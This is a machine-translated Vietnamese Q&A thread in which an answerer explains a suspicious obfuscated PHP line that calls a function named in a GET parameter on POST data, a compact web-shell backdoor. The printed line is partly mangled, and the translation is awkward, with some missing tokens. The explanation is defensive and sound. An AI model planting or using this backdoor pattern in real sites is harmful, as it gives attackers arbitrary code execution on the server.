Hãy phá vỡ này lên một chút:
([email protected]$_GET[page])
.
@$_($_POST[404]);
Thứ nhất, đây là hai biểu thức được nối với giai đoạn: ()
.
()
.
Trong các biểu hiện đầu tiên, $_
=
, $_
là một biến, và đang được giao =
vào biến $_GET['page']
, hoặc có lẽ là đầu ra của một chức năng ẩn danh nó tham chiếu. Nếu không tham chiếu đến một hàm ẩn danh, thì @
sẽ loại bỏ mọi lỗi khỏi nó.
Biểu thức thứ hai, @
$_(
$_POST[404]
);
được bắt đầu với ức chế lỗi @
của hàm nặc danh $_
, mà bạn có thể nói bây giờ là một chức năng ẩn danh được gọi là bởi vì nó tiếp theo (
. Đối số được truyền cho hàm này là $_POST['404']
và sau đó dấu ngoặc đơn thứ hai chỉ đóng cuộc gọi.
Vì vậy, tôi cho rằng sự nghi ngờ của bạn là chính xác; điều này trông giống như mã obfuscated nhằm trông vô hại hoặc một phần của trang web. Tôi nghi ngờ rằng các giá trị cho và $_POST[404]
có lẽ là chuỗi javascript có tiếng vang trên trang sẽ cài đặt phần mềm độc hại hoặc phần mềm quảng cáo.
Bạn có thể gỡ lỗi này nhiều hơn bằng cách xem xét giá trị của hai biến đó và xem chúng là gì. Tốt nhất tôi có thể nói mà không biết các giá trị trong GET và POST, có vẻ như biến số $_
đang được gán cho chuỗi , sẽ là bất cứ điều gì ai đó gửi trong URL khi họ tải trang. Vì vậy, họ có thể chuyển tên chuỗi bất kỳ chức năng nào cho trang web và đưa nó vào phạm vi của PHP.
Sau đó, chúng đang chạy hàm tùy ý đó trên giá trị $_POST['404']
. Giá trị đó cũng là bất kỳ trình duyệt hoặc người dùng nào POST
s đến trang.
Ghép nối và dấu ngoặc đơn bên ngoài ().()
có thể chỉ gây trở ngại hơn, hoặc điểm của mã này có thể đơn giản là lặp lại kết quả của mã này trên trang (ví dụ để chèn javascript). Nhưng, nó cũng có thể họ đang gọi bất kỳ chức năng mà họ muốn trên bất kỳ đối số mà họ đã vượt qua. Tôi không thể nói chỉ bằng cách nhìn, nhưng một người nào đó giao tiếp với PHP hơn có thể.
"ở đây" ở đâu? Tôi nghĩ rằng bạn quên liên kết –
Cảm ơn rất nhiều. Lời giải thích rất tốt. Sẽ bỏ phiếu trong khoảng 3 phút. –